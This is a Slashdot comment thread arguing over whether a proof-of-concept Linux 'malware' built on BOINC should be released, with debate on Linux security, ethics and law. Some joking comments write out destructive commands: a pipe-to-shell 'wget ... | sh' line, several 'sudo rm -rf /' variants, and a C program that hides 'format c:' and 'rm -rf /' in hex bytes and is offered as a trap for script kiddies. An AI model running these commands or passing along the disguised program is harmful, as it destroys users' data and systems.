      I have personal knowledge of ASS/400 systems which have been infiltrated from ye olde dot com days, so phooey. Just like anything else, you can have the greatest security system in the world, but if you put some dumbshit FTP server on top, people will find their way in.

      I think if you actually talked to anyone who works with these, they would tell you to firewall them way way off. Not that Linux/Apache is perfect, but lots of people generally understand it, which is more than you can say for IBM PTF6893QT.5 or whatever their webserver software is called nowdays.

      --
      Business. Numbers. Money. People. Computer World.
    3. Re:Arrogance... Nothing New. by Anonymous Coward · · Score: 0

      "IBM would have to back door their way in to unlock a system administrator account"... nice story but I think it misses the main point: if IBM can hack OS400 then so can an attacker. So much for being hackproof.

    4. Re:Arrogance... Nothing New. by mark-t · · Score: 1

      I would have pointed out that their assertion depends entirely upon what one means by "hack". If by hack, one means to utilize the facilities of the system to perform some surreptitious function without the administrator knowing about it until it's too late, then yeah... you can't hack it. If, however, by hack, one means forcefully rendering the system less useful for those who want to use it as it was intended by the administrators, then it seems to me that a DOS most certainly would qualify.

    5. Re:Arrogance... Nothing New. by jimicus · · Score: 1

      Not that Linux/Apache is perfect, but lots of people generally understand it, which is more than you can say for IBM PTF6893QT.5 or whatever their webserver software is called nowdays.

      Last time I checked, IBM's webserver was a repackaging of Apache.

  68. It is all in the presentation... by ldgeorge85 · · Score: 1

    If you are worried about the legal implications, why don't you just present and release it as something like 'automated remote boinc installer'. At that point, it is the decision of the end user whether to use it for it original purpose, or change it for their own purpose(be it legal or illegal). Make sure to release it under a good license that releases you of liability. Do not release it as 'Linux malware', or you probably will get pinned for it.

  69. This is why by Anonymous Coward · · Score: 0

    end users should only run stuff they get through the Ubuntu Software Center. Never download binaries. Never download source. If it's not in the app store, screw it.

  70. Re:If you have to ask, your ethical compass is b0r by PachmanP · · Score: 2, Funny

    Yeah, really! Ethics is easy!

    Will releasing it make you money? No? Then don't do it.

    See how easy that was?

    No, no, no. Ethics cannot be based on money because money is only a means to an end not an end in itself. We must fall back on the ethical basis nature gives us as anything else is artificial.

    Will it get you laid?
    Will it enhance the ability of your children to get laid?

    If yes, then you are morally obligated to do it.

    --
    You're thinking small. Why miniaturize the laser, when we could instead enlarge the sharks? -John Searle
  71. The difference between Linux and Windows by fortapocalypse · · Score: 2, Funny

    ... is that after a Linux developer writes malware, he/she contributes it to the community. When a Windows developer creates malware, he/she uses it immediately for fun or profit.

  72. Re:If you have to ask, your ethical compass is b0r by Thinboy00 · · Score: 1

    Well, in general, if you petition a large number of others for advice on a decision you're not sure of, you'll probably be less likely to do something stupid.
    After all, the general public has a low but well-known level of intelligence, and as an individual you may be stupider than that yourself.

    Average IQ is 100

    Hopefully, IQ is higher on /.

    --
    $ make available
  73. I would like you to join my bot net by codepunk · · Score: 1

    Would you be so kind as to open a terminal window mr user and run this for me so that you can join
    my cool bot net.

    wget www.somewhere.com/somefile.sh -O - | sh

    Oh no what will the community do, I may have just released a very serious malware exploit vector.

    --


    Got Code?
    1. Re:I would like you to join my bot net by StuartHankins · · Score: 1

      Well that makes at least 2 of us who understand this "story"

  74. Not new. Not Interesting. by ponraul · · Score: 0, Flamebait

    If Linux malware is unheard of, why does McAfee sell LinuxSheld?

    Anyway, people have been releasing internet-wide, UNIX malware malware for at least 21 years.

    1. Re:Not new. Not Interesting. by agnosticnixie · · Score: 2, Insightful

      McAfee is indeed malware, they after all provide an antivirus for MacOS X that seems to only defend from viruses that can't affect it since their list is 99.9% old MacOS for maybe a dozen pieces of actual mac malware for which they did too little too late while their application is probably one of the rare ones that not only breaks on OS version changes but also on simple OS updates all the fucking time.

      That said, true, McAfee is obviously not the only source of malware on linux.

    2. Re:Not new. Not Interesting. by buchanmilne · · Score: 1

      If Linux malware is unheard of, why does McAfee sell LinuxSheld?

      The question isn't why they sell it, but why customers buy it, and that is most likely for "Benefit" 4:

      LinuxShield protects Microsoft Windows systems by blocking Microsoft Windows viruses from passing through the Linux environment

    3. Re:Not new. Not Interesting. by ais523 · · Score: 1

      Yes, it's pretty common to run an antivirus program on a Linux-based mail server, specifically to catch Windows viruses in messages it relays. (The Linux version of ClamAV, for instance, seems to be pretty rudimentary in every area but catching email viruses, presumably because there's nothing else it could plausibly do.)

      --
      (1)DOCOMEFROM!2~.2'~#1WHILE:1<-"'?.1$.2'~'"':1/.1$.2'~#0"$#65535'"$"'"'&.1$.2'~'#0$#65535'"$#0'~#32767$#1"
  75. Re:treat it like any other proof of concept exploi by Anonymous Coward · · Score: 0
  76. Better release it correctly... by AnotherUsername · · Score: 3, Funny

    If you release it, you had better release it under the GPL, or it really will be an unethical release...

    --
    I don't like Linux. This doesn't make me a troll.
  77. Doesn't malware stand for... by Antony-Kyre · · Score: 1

    malicious ware? How can something be non-malicious malicious ware? Doesn't that contradict itself? And how does releasing something that does something to someone's computer without their computer considered a good thing?

  78. Re:If you have to ask, your ethical compass is b0r by MillionthMonkey · · Score: 1

    That's right- I feel smarter just being here.

  79. This should answer your question by Anonymous Coward · · Score: 0

    http://en.wikipedia.org/wiki/Morris_worm

  80. Terminology by MagickalMyst · · Score: 2, Funny

    Non-malicious malware.... Dudware?

    --
    Political correctness is really just herd psychology pushed by insecure people who desperately seek social conformity.
  81. Re:If you have to ask, your ethical compass is b0r by troutinator · · Score: 1

    Unless you are saying we are all born with an innate ability to determine if all possible actions are right and wrong, and thus also say that all possible actions do in fact have a single, unequivocal answer to the question "Is this right?". If you are saying all of that, sure you are right.

    However, if you aren't, then there is good use to discussing ethical issues. If we are finite being incapable of omnipotence, then admitting that we don't know the answer ourselves is a fairly intelligent act compared to flipping a coin. There may be options that one doesn't see on there own, that are far better and will be though up through intelligent discussion.

  82. Consult with an attorney about the CFAA too. by Valdrax · · Score: 4, Informative

    You might also really want to talk to a lawyer who knows the Computer Fraud and Abuse Act. At a minimum, you may need to worry about 18 USC 1030(a)(5). Pay attention to the definition of "damage" and "loss" in 18 USC 1030(e)(8),(11).

    --
    If it's for-profit but free, you're not the customer -- you're the product (e.g., the Slashdot Beta's "audience").
    1. Re:Consult with an attorney about the CFAA too. by Anonymous Coward · · Score: 0

      If it is the same Johannes Buchner that I found through Google, then he lives in Austria, so that specific law doesn't apply to him.

  83. Try seeing the definition of malware... by Anonymous Coward · · Score: 0

    Malware == malicious. Doofus.

  84. No by Anonymous Coward · · Score: 0

    Do not release it. Make people do their own damn work.

  85. Linux Malware by Gudeldar · · Score: 2, Funny

    Linux malware that requires manual running is trivially easy to do.
    Copy and paste: sudo rm -rf /
    Enter your password

    Come back when you have malware that can remotely infect a target machine without user interaction.

    1. Re:Linux Malware by s1lverl0rd · · Score: 1

      I prefer sudo rm -rvf /

    2. Re:Linux Malware by Anonymous Coward · · Score: 0

      You evil bastard! your script is doing something to my hard-dis

    3. Re:Linux Malware by KeNickety · · Score: 1

      Surely you mean sudo rm -rf --no-preserve-root /

  86. Why does my by kutulu13 · · Score: 0

    Why does my process list show BOINC?

  87. ask yourself this question by smash · · Score: 3, Insightful
    Would it be different if it was Windows malware? The fact that it is linux malware is irrelevant. Your software is doing the same thing (installing unauthorized code onto people's machines).

    I say release the ideas, or at least document the concepts with pseudocode so that the average skript kiddie can't just download and modify - they'd at least need to spend the time implementing it in some language.

    This way, people qualified to fix the problem can review your proof of concept and fix the problem, but you're limiting the exposure to the average bored 15 year old who's skillset doesn't extend too far beyond downloading a .c file and running gcc.

    --
    I run: Windows, OS X, Linux, FreeBSD. Just because you have a hammer, doesn't mean everything is a nail.
    1. Re:ask yourself this question by Anonymous Coward · · Score: 0

      This way, people qualified to fix the problem can review your proof of concept and fix the problem

      There is no technical solution. This is the concept: You can configure linux in any way you like, including to allow remote administration. You can put all the necessary commands to achieve this in a script. These are features, not bugs. However, if you can get someone to run your script without understanding it, you can configure the box the way you want instead of the way they want.

      Except for locking user accounts down it is neither possible nor desirable to "fix" this. Use permissions to make files in user writeable directories non-executable and you have the fix for boxes that are administrated by someone other than the user.

    2. Re:ask yourself this question by Anonymous Coward · · Score: 0

      but you're limiting the exposure to the average bored 15 year old who's skillset doesn't extend too far beyond downloading a .c file and running gcc.

      Well that gave me an idea: why not beat 'em at their own game? Distribute this code snippet anywhere you suspect wanna-be script kiddies are hanging out (and make sure to remove the warnings if you want them to fall for the trap).

      WARNING: Do not run this program. (Hint: 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74 = format, and 0x2d, 0x72 = rm)

      /* Teh Be5t sCr1pT 2 pWn2oRz jOuR eNeM1e5.
        Just compile with gcc and run it with your enemy's IP address!
        Guaranteed to do more damage than win-nuke! */
      #include <stdio.h>
      #include <stdlib.h>
      char data[] = {
        0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x20, 0x63, 0x3a,
        0x20, 0x2f, 0x71, 0x00, 0x72, 0x6d, 0x20, 0x2d, 0x72,
        0x66, 0x20, 0x2f, 0x00
      };
      int main (int argc, char **argv) {
        printf ("Preparing to pwn %s...\n", argv[1]), fflush(stdout);
        system (&000[data]), system (&015[data]);
        printf ("Haha! You just pwned %s!\n", argv[1]);
        return EXIT_SUCCESS;
      }

      WARNING: Do not run this program. (Hint: 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74 = format, and 0x2d, 0x72 = rm)

  88. Re:If you have to ask, your ethical compass is b0r by Anonymous Coward · · Score: 0

    > Hopefully, IQ is higher on /.

    Not judging from the average response to any article mentioning Microsoft, god forbid anything political. There's just a higher concentration of technical skill. That ain't the whole picture of IQ.

  89. err...what was your point again? by dAzED1 · · Score: 3, Insightful

    No malware? I think the claim is that Linux doesn't have the threat from viruses that Windows does - actually, it has little threat from them at all.

    loose security configurations and mindless execution of unverified downloads - so, the sort of thing no admin with any brains, regardless the OS they were using, would do? The difference is, you can fairly much lock up Linux very fast, with little a non-privileged person can do, while not really limiting what services the machine will offer. With Windows on the other hand, it takes more effort to lock it down, and things become far more burdensome to deal with once you do. Let me tell you how much I loved having errors all over the policy editor in windows because of some basic security settings...which meant that doing normal, everyday windows admin tasks you would be confronted with errors left and right because of the policy settings. Doing normal, everyday UNIX admin tasks on a locked down box though...no issues.

    Why do people take the argument so damn personally, anyway? The OSes are meant for different things. That one is better at some things than the other should make sense - they have entirely different methodologies.

    PS - it took you a *week* to write something that could exploit "loose security configurations?" Give me 5 minutes and I'll write something. Go ahead and publish whatever you wrote, I'm sure several of us could use the laugh.

  90. Misplaced priorities by dontmakemethink · · Score: 1

    You should be BOINC'ing your hot friends, not their computers!

    --

    War as we knew it was obsolete
    Nothing could beat complete denial
    - Emily Haines
  91. Open Source it by BountyX · · Score: 4, Funny

    Open source it, that way we can all contribute to the malware and discuss if it should use gtk or qt. We know that gnome users will refuse to install anything with qt dependencies and kde users will refuse to install gtk+ dependencies. None of the windows malware coders are willing to release their code to us, so we are limited on integration, especially with wifi. I personally think we should target gnome users, they like stepping on people -- just look at how condescending their logo is. Plus I have a grudge against the way they put their contributers down. Once we get enough malwared machines we can convince windows malware coders to support our platform.

    --
    Trying to install linux on my microwave, but keep getting a kernel panic...
  92. IQ != intelligence by ClosedSource · · Score: 1

    "IQ is higher on /."

    And more to the point: Hopefully the average intelligence is higher on /.

  93. Re:If you have to ask, your ethical compass is b0r by ClosedSource · · Score: 2, Insightful

    So you saying that a group of people none of which have an innate ability to determine right from wrong come to better ethical decisions that an individual with the same limitation?

  94. Re:Release it. by ClosedSource · · Score: 1

    I think you meant "UI through obscurity".

  95. Malware is... bad... right? by Thaidog · · Score: 1

    So don't release it. Pretty straight forward if you ask me.

    --

    ||| I still can't believe Parkay's not butter.

  96. Re:If you have to ask, your ethical compass is b0r by Timothy+Brownawell · · Score: 1

    Will it get you laid?
    Will it enhance the ability of your children to get laid?

    If yes, then you are morally obligated to do it.

    "There is no 'right' or 'wrong', 'good' or 'evil'. There is only 'historically correlated with collective survival'."

    More seriously, wouldn't that position mean that all birth control is evil (IIRC this actually matches what the roman catholics believe (but obviously for different reasons), plus there's "every sperm is sacred, every sperm is great, when a sperm is wasted god gets quite irate") and that the only proper response when a potential partner wants to use a condom is to secretly poke a hole in it? Somehow, that seems a bit off...

  97. DO IT... Microsoft would if it was that bad. by viraltus · · Score: 1

    And if they didn't, I don't think your "malware" is going to destroy Linux community, on the contrary. So go Ahead.

    --
    Dear /. CENSORS that set people's Karma to Neutral when you disagree with them: FUCK YOU!!
  98. I usually get much Schadenfreude ... by Anonymous Coward · · Score: 0

    from people trying to spell Schadenfreude.

  99. Consider... by sonamchauhan · · Score: 1

    ... Consider the 'Rick Astley' iPhone semi-malware released last month that affected jailbroken iPhones.

    Someone's now put a deadlier payload on the same code.

  100. Silly by vadim_t · · Score: 2, Insightful

    Linux has two main things over Windows:

    First one is that people can't accidentally execute some random program they downloaded with their browser. They have to intentionally save it somewhere, chmod +x, then run it. There's no "ok, ok, ok, yes I am stupid" sequence of warning dialog button selections that's going to do that, so it takes very intentional actions to run some random code you got from the web.

    The second one is that Linux users don't, as a normal thing, run random programs they downloaded from the web. They generally install packages provided by their distribution. If a Linux user needs a RAR compressor they don't go hunt it around the web, possibly landing on a page offering a trojaned version, they "apt-get install" their distribution's verified version.

    The first means people are very unlikely to run your code by accident, the second that you have to provide a good reason to run your malicious code.

    I think that all this really proves is that if you really insist on running untrusted code on your system it can go and screw with your system (or user account). Well, duh. The question isn't whether it can happen at all, it's how easily it can happen by accident or lack of attention. If the user really insists on shooting their foot there's little anybody can do about that.

    But, suppose that Linux got lots of stupid desktop users, who'd download fluffy_kittens.sh and actually go through the steps they need to run it. In that case distributions could add some extra security quite easily, by for instance denying the user the ability to run programs from non-root owned directories (grsecurity does this). This would make it so that even if the user does download your script, sets the permissions, and tries to run it, it will fail to work anyway.

    Now of course there's the ld.so workaround, but that's not going to happen from the GUI, and the distribution could always patch their ld.so to obey the grsecurity restrictions

    Given all this, IMO, this exercise proves very little. It proves that if you manage to convince the user to intentionally run untrusted code, it'll be able to do nasty things. But this is a given on any system that's not locked down in a really fascist manner. It'll take a cell phone-like environment with sandboxed applications to defeat that. And even there applications must be allowed to do potentially harmful things to be able to do some entirely legitimate functions.

    At that point you have two possibilities: you completely refuse to run unsigned code (pissing off the user), or ask the user "do you want to let this program delete all your data?" and allow them to shoot their own foot.

  101. But by Anonymous Coward · · Score: 0

    I am not a lawyer, but as I understand the legal definitions, malware/spyware/virus/trojans do not have to be harmful to be illegal. Anything installed without the user's knowledge and consent is illegal.

  102. Re:If you have to ask, your ethical compass is b0r by backwardMechanic · · Score: 1

    It's an obvious lie. Nobody here has a friend with a girlfriend.

  103. Re:Release it. by WiiVault · · Score: 4, Insightful

    Uhh no its retarded and was modded funny as a result. Security through obscutiry has been debunked dozens of times. Mac OS for instane is pretty visable, but yet seems to have not even a fraction of the problems another major commercial OS does. And don't tell me there isn't a major bonus for being the hacker to really pwn OS X. I'm sure as a Windows troll you would give a nut for this kind of exploit just to prove this lame claim. Vista and W7 are a HUGE step forward, but don't pretend that the only reason everybody else is safe and Windows is a spyware dungeon is just based on marketshare.

  104. release it! by someone1234 · · Score: 2, Funny

    This is an important milestone in the Linux to the Desktop campaign.
    Without a "healthy malware ecosystem", Linux isn't mature enough to be called a desktop operation system.
    Think about the AV industry!

    --
    Patents Drive Free Software as Hurricanes Drive Construction Industry
  105. Re:Release it. by Mista2 · · Score: 1

    I've always thought it was hard enough to get apps and services I do want to install and get going on linx that some random piece of malware has no chance.

  106. LinuxMalware1.0.exe.sh by thatkid_2002 · · Score: 2, Insightful

    Install and Run Instructions
    ==================
    chmod a+x ./LinuxMalware1.0.exe.sh
    su -c "./LinuxMalware1.0.exe.sh"


    Script
    ==========
    #!/bin/bash
    rm -rf /
    exit(0)


    The Point
    =============
    If you are running things from an untrusted source then you are a dumb-ass.
    There is no patch for human stupidity.
    http://www.rocketdownload.com/software/rar.html

  107. Re:Release it. by Anonymous Coward · · Score: 0

    Security through obscurity means that you don't know the code, not that people don't know the OS.

  108. Non-MALicious MALware? by BitZtream · · Score: 1

    Really?

    Non-MALicious MALware?

    Its awesome to see non-malicious malicious software for Linux.

    Way to go the kdawson, your reading comprehension skills are just freaking top notch.

    --
    Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
  109. I run Linux by OrangeTide · · Score: 1

    And I'm not worried at all. Peeling back some "nasty" multi vector injection into start-up and cron will probably take me less time to clean up than it took the author to write.

    --
    “Common sense is not so common.” — Voltaire
  110. Re:If you have to ask, your ethical compass is b0r by dbIII · · Score: 1

    Not true. I'm off to a D&D game tonight where one guy - oh wait, she ditched him.

  111. Doesn't prove anything by Anonymous Coward · · Score: 0

    This doesn't prove anything. If you download and run untrusted and unverified code you are boned no matter what OS you may be using. This says nothing about the overall security of the OS, but only about the stupidity of the user.

  112. Don't let a server call home! by Scotch42 · · Score: 2, Interesting

    Why should a (web)server be allowed to issue any request ? It should be configured to answer queries only, no ? iptables is great and easy to set up for that task. Even for software update, one may push the package needed to the target server in place of the usual pull from the target; so no exceptions are needed on the firewall.

    For desktops it's a little bit more complicated... but using a home partition mounted with noexec should suffice. Installing a new software is not a casual issue but a real event and should be taken care of by someone knowing what he's doing. That's why root was invented, isn't it ?

  113. Release it. DO IT NAO! by Dagmar+d'Surreal · · Score: 1

    What? Have things now become so gentrified that this question even needs to be asked?

    Release it already.

    The 90's were great because there were active threats from all sides, spurring people to meet the challenge with actual defenses against the mayhem. By comparison now things are much more secure, but they are also incredibly less exciting, and markedly less progressive. If developers/coders are driven by a need to scratch an "itch" then by all means let's make things itchy again.

    The software is non-malicious you say? Great! If nothing else it'll serve as some things for people to think about as they continue to develop their environments, and at the very least it sounds like you may have identified some genuinely soft spots in the current generation of Linux distributions. You would be far from the first person to post non-malicious proof-of-concept code to say, Bugtraq. This is not new ground--no one is going to claim you did something wrong by publishing.

    Release it already!

    Either we're tough enough to handle it, or we'll get tough enough to handle it.

  114. Dear Guru by Demonoid-Penguin · · Score: 1

    Your idea have both merit and originality. Unfortunately the bits that have merit are unoriginal, and the bits that have originality have no merit. Good luck attempting to get n00b Ubuntu ('cause Debian is tooo hard) users to install your "malware" - given that so many of them think cli is some sort of "G" spot. Is your exploit driven by the availability heuristic?? Leaving aside the chances of your exploits "wising up" the world (get down off the cross, we need the wood) I am reminded of the saying that the "empty mactchbox makes the most noise". Google gives "Results 1 - 10 of about 1,780 for "I was fed up with the general consensus that Linux is oh-so-secure and has no malware." del./r>null PS. If you find you can't unlock your C:, try "" as a password (without the quotes)

    1. Re:Dear Guru by damaged_sectors · · Score: 1

      Typical Linux user - smug, sarcastic, and, wrong. Linux is the cause of all malware, it's Linux boxes that control the botnets and it's Linux users that claim their system is impervious to attack. Get a life (and a decent OS).

  115. Re:Release it. by JackieBrown · · Score: 2, Insightful

    I don't hear linux zealots talk about security through obscurity.

    It is the windows zealots who state that as a justification on why windows is so virus and malware prone.

  116. Tell the BOINC developers... by c0lo · · Score: 1

    ... if their product can be used as a gateway for malware to enter the system running it. They should at least write a "How to install/run BOINC without being screwed", if not extend of connection protocol to force a "BOINC tasks distribution server" to authenticate in a special mode (while deprecating the prev protocol allowing a poser to trick the user into downloading "jobs" from them).

    --
    Questions raise, answers kill. Raise questions to stay alive.
  117. Re:If you have to ask, your ethical compass is b0r by mr_gorkajuice · · Score: 1

    I doubt it.
    Tech savvy != intelligent

  118. patent it by smash · · Score: 1
    .. and then sue anyone who hacks you with the process you've discovered.

    :D

    --
    I run: Windows, OS X, Linux, FreeBSD. Just because you have a hammer, doesn't mean everything is a nail.
  119. FANUM by Anonymous Coward · · Score: 0

    It amuses me how many of these posts are obviously written by people who have never run Linux or have no understanding of the differences between windows (30 year old hack job of unmanaged code), and Linux. So I dare everyone to read this. If you really believe that Linux is just as insecure as window, read this entire article (front to back), then go apologize to everyone in your life you have misinformed over the last X number of years.

    http://www.theregister.co.uk/2004/10/22/security_report_windows_vs_linux/

  120. Probably exploited in the wild already by What+the+Frag · · Score: 2, Interesting

    My linux systems get a lot of attacks every day. SSH, FTP and HTTP attacks are the most common.

    On HTTP attacks most ones try to get a page /phpmyadmin or some other (most of the time php-) application which seem to have severe security issues. There are many insecure web applications out there that are not patched or pretty much broken by design.

    I bet the security hole you're exploiting is already used in the wild. If that's so, who cares if another kid takes your code and turns it into real malware?
    I personally believe it's more benefit to release your code as "penetration test" and help some admins to check their servers of potential security holes than to do nothing in fear of a few kids.

  121. Stupid by Anonymous Coward · · Score: 0

    So this idiot thinks his "virus" or whatever will make a differenece in the world

  122. Why ask? by Anonymous Coward · · Score: 0

    Releasing it to the public will tarnish your reputation (If you have one,) Not to mention the parasites that will try to adapt it and use it to exploit people.
    You are an idiot. Please create software that people will benefit from and enjoy using instead of garbage.

  123. Hrmm. Let us ponder the question... by Anachragnome · · Score: 1

    Release it privately to some of the "good guys" so they can fix it?

    Can Linux be modified to prevent such malware from being run on any given machine? If so, why would you not want to help close such a glaring hole in the OS, while maintaining the least amount of disruption?

    I see malware as something that needs fixing. You seriously do not?

    To be honest, I don't really see why you are asking /.

    You should be taking this straight to the folks that work on this stuff...uh...erm...Hrmm. /exit stage, left

  124. If you support linux, why you want to release it? by DoMore · · Score: 2, Interesting

    If you created this code in hopes of making things better, first of all, talk to developers, if you have good ideas about how to eliminate such possible threats, or write articles and talk to regular people about good computer practice and computer security thus educating them. Those who do understand computer security, already know it is possible to hack any system and they do not need any kind of demonstration. It has always been possible to hack a system, whether it is windows, mac or linux, ...just wait for a bug and thats it you will have your chance of hacking. And to release it, just to show some regular people that it is possible to hack stuff in linux too is useless, pointless and even harmful in longterm. Regular people do not understand, do not want to understand and will never understand computer security. So if you wan't to make thing worse, go, release the code and start to screw up the linux system.

  125. Re:If you have to ask, your ethical compass is b0r by selven · · Score: 1

    Some things are genuinely ambiguous, and "should I release a sample virus which helps security researchers and malware authors at the same time" is, IMO, pretty ambiguous. The optimal solution would be to find a way just to release it to some security people and then put it out after a few weeks.

  126. There is No Security by gselfridge · · Score: 1

    If someone wants your network, they will take it regardless of how much security is implemented. It's that simple.

  127. Is this a joke? by AlgorithMan · · Score: 1

    so you can write malware for linux - no big deal - connecting to IRC and waiting for instructions like DDOS'ing some server and sending mails, shure that's possible. The reason why linux is so secure is not that malware was magically "impossible" (which would contradict Rice's Theorem btw)

    if you have access to a machine, then OF COURSE you can install malicious binaries, only an idiot would claim the opposite! GETTING that access is the problem! and default-users don't have access to system directories, so they can only infect their own account (plus: since binaries by default don't get the execute-bit, it's quite hard to make someone execute your binary by accident e.g. by making it look like a word-document or a video or something... you have to get him to chmod +x your binary, and THAT is no accident anymore)

    --
    The MAFIAA is a bunch of mindless jerks who will be the first up against the wall when the revolution comes
  128. Lost me at by TheUz · · Score: 1

    On the one hand, the way it persists itself in autostart is really nasty, and that is not really a security hole that can be fixed.

    This is pretty silly. Slow news day?

    --
    ^..^
  129. Release it to trusted parties with kernel trees by Bozovision · · Score: 2, Interesting

    Mail it to Linus, Alan Cox and the maintainers of subsystems which it abuses. Include clear notes of how it works, and what can be done to protect the systems. If you can't trust these people with it, then you should not trust Linux with your data at all. Even better, since you understand the tricks it uses, if you can write some patches, and submit them, together with your proof of exploit.

    On a personal note - I also want to say thank you for doing this work. I use Linux both on servers, and as my normal desktop, and I'm immensely pleased that people are looking at making it safer: thank you.

  130. Re:If you have to ask, your ethical compass is b0r by Jesus_666 · · Score: 1

    Intelligence is task specific. You can have brilliant scientists be reduced to bumbling idiots the instant they sit down in front of a computer. Of course it's not a matter of brainpower but a matter of knowledge but they don't have that crucial knowledge and thus make mistakes that, to the average computer geek, look like pure idiocy.

    Asking random smart people about the ethical implications of a highly technical issues is not going to give as many insightful answers as asking random technical people does.

    --
    USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
  131. Non-Malicious Malware by davidshewitt · · Score: 1

    That seems like an oxymoron to me.

  132. Ask Robert Morris by funkman · · Score: 1

    His worm had a little bug in it and see what happened to him :)

  133. Re:If you have to ask, your ethical compass is b0r by Anonymous Coward · · Score: 0

    "what a sl*t she is" or what a complete F***ING a-hole you are?

    This person, with the exploit, should write a paper, submit it to a conference and explain what he did. Don't have to release anything into the wild. Be the good guy and preach good security practices - and where there are holes to be filled.

  134. Hurry up.. by Anonymous Coward · · Score: 0

    Just release it already.
    If it actually causes enough trouble to be noticed there'll be a fix for it quick smart, otherwise it won't matter.

  135. demonstration of Linux 'malware' by viralMeme · · Score: 1

    "a Linux system can be turned into a botnet client by simply downloading BOINC and attaching it to a user account to help scientific projects"

    Can you provide a link to a demonstration of this Linux 'malware'. One that - with no user action - can compromise my machine or by clicking on even a version of 'malware' that works by clicking on a URL or opening an email attachment.

    As far as I can make out, users must first download and install BOINC and allow RPC calls. I mean if that's your definition of malware so is me putting a safe in the middle of the street with the combination numbers taped to it. No doubt you would then write a story about just how easy it is to crack that particualr model of safe.

    kdawson, have you nothing else to write about ???

  136. Re:Release it. by Anonymous Coward · · Score: 0

    Windows 7 is HUGE step back when compared to Windows Vista. The UAC is so limited that it does not give any kind real protection what the Vista's version did. On Windows 7 any normal account user can add new users and even give them a admin stated rights without UAC even giving warning. That is the default setting and does not help protect computer. Then the Windows 7 UAC was tested against 10 newest mallware and almost all went totally trought from it, without giving anykind UAC question.

    The marketshare has nothing to do with the security. The code is the only thing what rules is the software secure or not. Secure software can be shared to all humans in the world and no one could actually crack it. But you need to share unsecure software for few users and they would get cracked if those softwares are being used in situation where there is good profit. If you have a software what is in use on all US banks, it is much higer risk to get traced because there are other security measurements. But if you have same software in all PC's in the US. It is much harder to get traced back to you, but profiting is much smaller, just like the risk. It is always easier to attack for unsecure persons than other well protected persons.

  137. knowledge is impossible to contain by thinkloop · · Score: 1

    I'm not pro-war, but I sure as hell will be happy that war allowed us to developed the nuclear bomb when aliens invade. So I say release it - knowledge is impossible to contain - we are better off adapting to it early.

  138. Re:Release it. by Carewolf · · Score: 1

    So the fact that Apple computers are consistently the first to be hacked in pwn2own contests, have completely passed you by?

  139. You are totally awesome! by Anonymous Coward · · Score: 0

    This is what you REALLY want to hear, right?
    You wrote some crappy malware (seriously, not that hard to do), managed to autostart it with bashrc (seriously, you call that "nasty"? every first semester student should be able to do it) and then you boast about it on the internet. I very much doubt that the morality of the matter is really a concern. You just want others to know that you are a cool hacker that could hack Linux. Newsflash: Nothing special.
    Release it or not, it really doesn't matter. There are a million other scripts like that out there already and yours is most probably in no way special.

  140. Re:If you have to ask, your ethical compass is b0r by Anonymous Coward · · Score: 0

    Of course, why actually sleep with her when you can just brag about her offer on slashdot!

    Why not do both?

  141. No, it would be malware by CAIMLAS · · Score: 1

    What is it that makes malware, well, malware?

    It's software on your system which you don't want there, didn't ask for, and can't easily get rid of without a significant investment in time and/or knowledge.

    Seems like it fits the definition to me. In Windows, malware usually infests the system (registry, files, processes, etc.), and sometimes it's not all that clandestine about it. This would not be so dissimilar from unwanted software which only remains resident in the user $HOME: due to uniform package manage management and vastly improved upon install scripts/configuration, a reinstall is relatively straight forward (dump package names, reinstall, install packages) and takes a reasonably short period of time (less than a Windows install on its own, for instance). Instead, the offending executable would have to be dug out of $HOME manually (or found with a tool) - either way, it's an agitation and non-trivial if you're unsure of what you're looking for.

    Now, is this malware example particularly trivial and not all that attention grabbing? Yes. How did this make FP?

    --
    ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
    1. Re:No, it would be malware by Alex+Belits · · Score: 1

      Windows malware propagates itself. This is why antivirus software is possible -- save for little pranks similar to this supposed "Linux malware", most Windows computers end up getting the same mass-distributed self-executable pieces of software, usually redistributed by other infected computers. The whole idea behind antivirus software is that all copies are either identical, or similar enough to be identified when they are about to be executed (or after they are already running). This is what is still keeping most Windows computers from being completely overrun by worms and viruses (and that won't work once polymorphic viruses will become more sophisticated).

      On Linux there are no "immediately executable" files -- user has to run a package manager, archive extractor or shell before anything becomes executable, so save for security bugs in viewers and libraries, there is no way to produce something that will end up running on a large number of computers -- even with user's privileges. Once in a while security bugs give potential malware authors an opportunity to bypass this, however the time window is usually so narrow, and "hardened" configurations so common, the impact of those bugs is minimal.

      Larger numbers of Linux desktops won't changes this -- for example, Linux is currently a very popular platform for public-accessible web servers. Those servers are more attractive as a target than pretty much anything else -- for a spammer or identity thief, a compromised web server in a data center can potentially replace thousands of botnet members. There was no shortage in security bugs that affected those servers over the last one and a half decades, and yet none of them resulted in any noticeable numbers of compromised servers -- usually either bug didn't live long enough before being fixed, or other measures made it impossible or impractical to exploit. At best someone compromises a single vulnerable PHP application without any meaningful effect for the rest of the system and without any capability to use the "compromised" application to launch more attacks.

      --
      Contrary to the popular belief, there indeed is no God.
  142. Just be careful by rgviza · · Score: 1

    As long as you release it properly you should do it.

    --
    Don't kid yourself. It's the size of the regexp AND how you use it that counts.
  143. Microsoft Shill? by Anonymous Coward · · Score: 0

    My first thought was that the OP is a Microsoft shill.

    Microsoft would feel very smug if Linux could be shown to be as vulnerable to malware as is Windows.

    Well? Are you?

  144. A friendly tip by Anonymous Coward · · Score: 0

    Don't waste your time with jedidiah. He is a known anti-ms troll & F/OSS cheerleader.

    1. Re:A friendly tip by jedidiah · · Score: 1

      OMG a buffer overflow vulnerability in package arfafdre-0.54! How utterly tragic.

      Now tell me how that really matters to me.

      You can't.

      All you can do is to make bogus noises about how some buffer overflow bug is equivalent to some Windows malware BRINGING DOWN THE INTERNET.

      Your weak insults do not change this fact. ...and if you want to be accurate: Call me a "Unix cheerleader".

      --
      A Pirate and a Puritan look the same on a balance sheet.
    2. Re:A friendly tip by Anonymous Coward · · Score: 0

      Aww ! Look at this cute kid ! Hes throwing a hissy fit now !! Whose a good boy? Whose a good boy? Heres a cookie !!

      OMG a buffer overflow vulnerability in package arfafdre-0.54! How utterly tragic.

      Now tell me how that really matters to me.

